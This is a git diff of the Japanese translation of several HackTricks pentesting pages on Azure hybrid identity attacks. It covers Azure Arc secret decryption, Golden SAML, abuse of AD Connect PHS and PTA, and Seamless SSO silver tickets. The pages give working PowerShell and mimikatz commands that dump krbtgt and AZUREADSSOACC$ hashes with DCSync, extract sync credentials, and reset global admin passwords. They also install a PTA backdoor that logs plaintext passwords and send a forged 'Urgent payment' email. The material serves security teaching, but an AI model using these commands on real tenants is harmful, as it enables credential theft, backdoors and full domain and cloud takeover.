EnableAzureArc.ps1 オンボーディングスクリプトをコピーします。この共有には、Windows インストーラーパッケージも含まれています。 +1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。 +2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。 -このスクリプトを実行する際、システム管理者は **ServicePrincipalId** と **ServicePrincipalClientSecret** の2つの主要なパラメータを提供する必要があります。さらに、ドメイン、共有をホストするサーバーの FQDN、および共有名などの他のパラメータも必要です。テナント ID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報などの詳細も必要です。 +このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります:**ServicePrincipalId**と**ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報など、さらなる詳細も必要です。 -暗号化されたシークレットは、指定された共有の AzureArcDeploy ディレクトリ内で DPAPI-NG 暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecret という名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1 スクリプト内に見られ、暗号化は $descriptor と $ServicePrincipalSecret を入力として ProtectBase64 を呼び出すことによって行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラグループの SID で構成されており、ServicePrincipalSecret はドメインコントローラおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。 -```powershell +暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことによって行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。 +```bash # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID $DomainControllersSID = "SID=" + $DomainControllersSID @@ -31,20 +31,20 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe 3. AzureArcDeployディレクトリを含むネットワーク共有を発見しました。 AD環境内でマシンアカウントを取得する方法はいくつかあります。最も一般的な方法の1つは、マシンアカウントのクォータを悪用することです。別の方法は、脆弱なACLやさまざまな他の誤設定を通じてマシンアカウントを侵害することです。 -```powershell +```bash Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exeコマンドをnetonlyフラグと共に使用するか、Rubeus.exeを使用してパス・ザ・チケットを利用することができます。 -```powershell +マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exe コマンドを netonly フラグと共に使用するか、Rubeus.exe を使用してパス・ザ・チケットを利用することができます。 +```bash runas /user:fake01$ /netonly powershell ``` -```powershell +```bash .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` コンピュータアカウントのTGTがメモリに保存されていることで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。 -```powershell +```bash Import-Module .\AzureArcDeployment.psm1 $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret" @@ -56,7 +56,7 @@ $ebs この時点で、暗号化されたServicePrincipalSecretファイルと同じネットワーク共有に保存されているArcInfo.jsonファイルから、Azureに接続するために必要な残りの情報を収集できます。このファイルには、TenantId、servicePrincipalClientId、ResourceGroupなどの詳細が含まれています。この情報を使用して、Azure CLIを使用して侵害されたサービスプリンシパルとして認証できます。 -## 参考文献 +## References - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index 5b374208f..f083f8b23 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -4,7 +4,7 @@ ## 基本情報 -**オンプレミスのActive Directory (AD)** と **Azure AD** の統合は、**Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されています。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します: +**オンプレミスのActive Directory (AD)** と **Azure AD** の統合は、**Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されます。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します: - **パススルー認証 (PTA)**: - オンプレミスADのエージェントが侵害される可能性があり、Azure接続のためのユーザーパスワードの検証が可能になります(オンプレからクラウドへ)。 @@ -15,7 +15,7 @@ pta-pass-through-authentication.md {{#endref}} - **パスワードハッシュ同期 (PHS)**: -- 高特権の自動生成されたAzureADユーザーの資格情報を含む、ADから特権ユーザーの平文パスワードを抽出する可能性。 +- 特権ユーザーのクリアテキストパスワードをADから抽出する可能性があり、高特権の自動生成されたAzureADユーザーの資格情報を含みます。 {{#ref}} phs-password-hash-sync.md @@ -36,7 +36,7 @@ seamless-sso.md {{#endref}} - **クラウドKerberos信頼**: -- AzureADユーザー名とSIDを操作し、AzureADからTGTを要求することにより、グローバル管理者からオンプレミスドメイン管理者への昇格の可能性。 +- AzureADユーザー名とSIDを操作し、AzureADからTGTを要求することにより、グローバル管理者からオンプレドメイン管理者への昇格の可能性。 {{#ref}} az-cloud-kerberos-trust.md @@ -49,10 +49,10 @@ az-cloud-kerberos-trust.md az-default-applications.md {{#endref}} -各統合方法について、ユーザーの同期が行われ、オンプレADに `MSOL_` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレスSSO** を促進し、オンプレドメインに参加しているAzure ADコンピュータの自動サインインを可能にします。 +各統合方法に対して、ユーザーの同期が行われ、オンプレADに `MSOL_` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレスSSO** を促進し、オンプレドメインに参加しているAzure ADコンピューターの自動サインインを可能にします。 **Azure AD Connect** のインストールを確認するには、以下のPowerShellコマンドを使用できます。このコマンドは、**AzureADConnectHealthSync** モジュール(Azure AD Connectと共にデフォルトでインストールされる)を利用します: -```powershell +```bash Get-ADSyncConnector ``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index c7343556f..0b4a917c7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -4,12 +4,12 @@ ## AzureADユーザーをオンプレミスに同期してオンプレミスからAzureADに昇格する -新しいユーザーを**AzureADからオンプレミスADに同期**するための要件は次のとおりです。 +AzureADからオンプレミスADに新しいユーザーを同期するための要件は次のとおりです: - **AzureADユーザー**はプロキシアドレス(**メールボックス**)を持っている必要があります - ライセンスは必要ありません - **すでに同期されていないこと** -```powershell +```bash Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` AzureADでこのようなユーザーが見つかった場合、**オンプレミスADからアクセスするためには**、**SMTPメールのproxyAddress**を持つ**新しいアカウントを作成するだけです**。 @@ -17,7 +17,7 @@ AzureADでこのようなユーザーが見つかった場合、**オンプレ 自動的に、このユーザーは**AzureADからオンプレミスADユーザーに同期されます**。 > [!CAUTION] -> この攻撃を実行するためには**Domain Adminは必要ありません**、**新しいユーザーを作成する権限**があれば十分です。 +> この攻撃を実行するためには**Domain Adminは必要ありません**。**新しいユーザーを作成する権限**があれば十分です。 > > また、これは**MFAをバイパスしません**。 > diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index aa3a18357..6f5472d70 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -27,7 +27,7 @@ 1. 最初に、ユーザーがアプリケーション(サービスプロバイダーまたはSP、例えばAWSコンソールやvSphere Webクライアント)にアクセスします。このステップは特定の実装に応じてスキップされ、クライアントが直接IdP(アイデンティティプロバイダー)に移動することがあります。 2. 次に、SPはユーザー認証のために適切なIdP(例:AD FS、Okta)を特定します。その後、SAML(Security Assertion Markup Language)AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。 3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。 -4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係が示されると、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。 +4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係を示す場合、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。 **SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください:** @@ -47,9 +47,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html **ゴールデンSAML攻撃:** - ADFSでは、SAML Responseはトークン署名証明書によって署名されます。 -- 証明書が侵害されると、Azure ADにANYユーザーとして認証することが可能です! -- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、私たちは認証応答を偽造しているからです。 -- 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。 +- 証明書が侵害された場合、Azure ADにANYユーザーとして認証することが可能です! +- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、認証応答を偽造しているからです。 +- 証明書はDA権限を持つAD FSサーバーから抽出でき、インターネットに接続された任意のマシンから使用できます。 - 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)で確認できます。 ### ゴールデンSAML @@ -69,7 +69,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html [Active Directory Federation Services (AD FS)]()は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。 -AWSが侵害されたドメインを信頼している場合(フェデレーション内で)、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得できます。 +AWSが侵害されたドメインを信頼している場合(フェデレーション内で)、この脆弱性を利用してAWS環境内の任意の権限を**取得する**ことが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得するのに十分です。 ゴールデンSAML攻撃を実行するための要件は次のとおりです: @@ -84,7 +84,7 @@ AWSが侵害されたドメインを信頼している場合(フェデレー _太字の項目のみが必須です。他の項目は任意で入力できます。_ **秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください: -```powershell +```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### オンプレミス -> クラウド -```powershell +```bash # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -133,8 +133,8 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` -クラウド専用ユーザーのImmutableIDを作成し、彼らをなりすますことも可能です。 -```powershell +クラウド専用ユーザーのImmutableIDを作成し、彼らを偽装することも可能です。 +```bash # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK==" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 3b4de0933..d8ae093e3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -10,20 +10,20 @@ これは、企業がオンプレミスのADをAzure ADと同期させるために使用する**最も一般的な方法**です。 -すべての**ユーザー**と**パスワードハッシュのハッシュ**は、オンプレからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\ +すべての**ユーザー**と**パスワードハッシュのハッシュ**がオンプレミスからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\ さらに、**組み込み**のセキュリティグループ(ドメイン管理者など)は**Azure ADに同期されません**。 -**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。 +**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレミスのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。 -オンプレのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。 +オンプレミスのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。 **PHS**は、**アイデンティティ保護**やAADドメインサービスなどの機能に必要です。 -## ピボット +## ピボッティング PHSが構成されると、いくつかの**特権アカウント**が自動的に**作成**されます: -- アカウント**`MSOL_`**は、オンプレADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))。これは、オンプレADで**レプリケーション(DCSync)権限**を持つことを意味します。 +- アカウント**`MSOL_`**は、オンプレミスADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))。これは、オンプレミスADで**レプリケーション(DCSync)権限**を持つことを意味します。 - アカウント**`Sync__installationID`**がAzure ADに作成されます。このアカウントは、Azure AD内の**任意のユーザー**(同期されたユーザーまたはクラウド専用ユーザー)のパスワードを**リセット**できます。 これらの2つの特権アカウントのパスワードは、**Azure AD ConnectがインストールされているサーバーのSQLサーバーに保存**されています。管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。\ @@ -33,14 +33,14 @@ PHSが構成されると、いくつかの**特権アカウント**が自動的 `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**暗号化された構成**は**DPAPI**で暗号化されており、オンプレADの`MSOL_*`ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。 +**暗号化された構成**は**DPAPI**で暗号化されており、オンプレミスADの`MSOL_*`ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。 これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。 -### **Azure AD Connectサーバー**の発見 +### **Azure AD Connectサーバーの発見** **Azure AD Connectがインストールされているサーバー**がドメインに参加している場合(ドキュメントで推奨)、次の方法で見つけることができます: -```powershell +```bash # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` ### MSOL\_\*の悪用 -```powershell +```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -62,7 +62,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo ### Sync\_\*の悪用 **`Sync_*`** アカウントを侵害することで、任意のユーザー(グローバル管理者を含む)の**パスワードをリセット**することが可能です。 -```powershell +```bash # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -82,8 +82,8 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -クラウドユーザーのパスワードのみを**変更することも可能です**(たとえそれが予期しないことであっても)。 -```powershell +クラウドユーザーのパスワードのみを**変更することも可能です**(予期しない場合でも)。 +```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 96ad1a864..0086fd34b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,9 +4,9 @@ ## 基本情報 -[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証は、ユーザーが**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインインできる**ようにします。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証**します。 +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証を使用すると、ユーザーは**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証**します。 -PTAでは**アイデンティティ**は**同期**されますが、**パスワード**はPHSのようには**同期**されません。 +PTAでは**アイデンティティ**は**同期**されますが、**パスワード**はPHSのように**同期**されません。 認証はオンプレミスのADで検証され、クラウドとの通信は**オンプレミスサーバー**で実行される**認証エージェント**によって行われます(オンプレミスのDC上である必要はありません)。 @@ -20,20 +20,20 @@ PTAでは**アイデンティティ**は**同期**されますが、**パスワ 4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**をAzure ADに**返します**。応答が肯定的であれば、**ユーザーのログインを完了**します。 > [!WARNING] -> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**を(**平文**で)**見る**ことができます。\ -> また、AzureADに対して**任意の資格情報を検証**することもできます(スケルトンキーに似た攻撃)。 +> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**(**平文**)を見ることができます。\ +> また、AzureADに対して**任意の資格情報を検証**することもできます(Skeleton keyに似た攻撃)。 ### オンプレミス -> クラウド **PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**入力されたすべてのパスワードを検証**する**バックドア**を**挿入**できます(すべてのパスワードが認証に対して有効になります): -```powershell +```bash Install-AADIntPTASpy ``` > [!NOTE] > **インストールが失敗した場合**、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。 -また、前のバックドアがインストールされたマシンで次のcmdletを使用することで、**PTAエージェントに送信された平文のパスワードを見ることも可能です**: -```powershell +また、前のバックドアがインストールされたマシンで次のcmdletを使用することで、**PTAエージェントに送信された平文のパスワードを確認する**ことも可能です: +```bash Get-AADIntPTASpyLog -DecodePasswords ``` このバックドアは以下を行います: @@ -48,11 +48,11 @@ Get-AADIntPTASpyLog -DecodePasswords ### クラウド -> オンプレミス > [!CAUTION] -> クラウドで **GA権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しいPTAエージェントを登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。 +> クラウドで **GA 権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しい PTA エージェント** を **登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。 -### シームレスSSO +### シームレス SSO -PTAを使用してシームレスSSOを利用することが可能ですが、他の悪用に対して脆弱です。詳細は以下を確認してください: +PTA とともにシームレス SSO を使用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください: {{#ref}} seamless-sso.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 92c5d592e..126004676 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -1,10 +1,10 @@ -# Az - シームレス SSO +# Az - シームレスSSO {{#include ../../../../banners/hacktricks-training.md}} ## 基本情報 -[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory シームレスシングルサインオン (Azure AD Seamless SSO) は、**企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません**。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。 +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) は、**企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません**。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

@@ -12,7 +12,7 @@ これは、[**PHS (パスワードハッシュ同期)**](phs-password-hash-sync.md) と [**PTA (パススルー認証)**](pta-pass-through-authentication.md) の両方でサポートされています。 -デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**AZUREADSSOACC`$`というコンピューターアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でAzure ADに送信されます**。 +デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**AZUREADSSOACC`$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でAzure ADに送信されます**。 **Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Azure ADは送信されたパスワードを使用してチケットを復号化します。 @@ -21,7 +21,7 @@ ### オンプレミス -> クラウド ユーザーの**`AZUREADSSOACC$`のパスワードは決して変更されません**。したがって、ドメイン管理者はこのアカウントの**ハッシュを危険にさらすことができ**、それを使用して**シルバーチケットを作成し、任意のオンプレミスユーザーと同期してAzureに接続することができます**。 -```powershell +```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit @@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` ハッシュを使用して、**シルバーチケットを生成**できます: -```powershell +```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -53,12 +53,12 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` -シルバーチケットを利用するには、以下の手順を実行する必要があります。 +銀チケットを利用するには、以下の手順を実行する必要があります。 1. **ブラウザを起動する:** Mozilla Firefoxを起動します。 2. **ブラウザを設定する:** - **`about:config`**に移動します。 -- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[値](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)にします: +- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[値](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)に設定します: - `https://aadg.windows.net.nsatc.net` - `https://autologon.microsoftazuread-sso.com` 3. **Webアプリケーションにアクセスする:** @@ -77,7 +77,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub - **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubues](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽TGT委任トリックを使用して取得できます。 - **ゴールデンチケット**: KRBTGTキーを持っていれば、攻撃対象のユーザーに必要なTGTを作成できます。 - **侵害されたユーザーのNTLMハッシュまたはAESキー:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成します。 -- **AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー:** この情報とユーザーのセキュリティ識別子(SID)を使用して、サービスチケットを作成し、クラウドに認証することが可能です(前の方法で実行されたように)。 +- **AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー:** この情報と攻撃対象のユーザーのセキュリティ識別子(SID)を使用して、サービスチケットを作成し、クラウドに認証することが可能です(前の方法で実行されたように)。 最後に、TGTを使用して、[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)ツールを使用することができます。 ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index e7be663f6..89d1e3895 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -34,34 +34,34 @@ 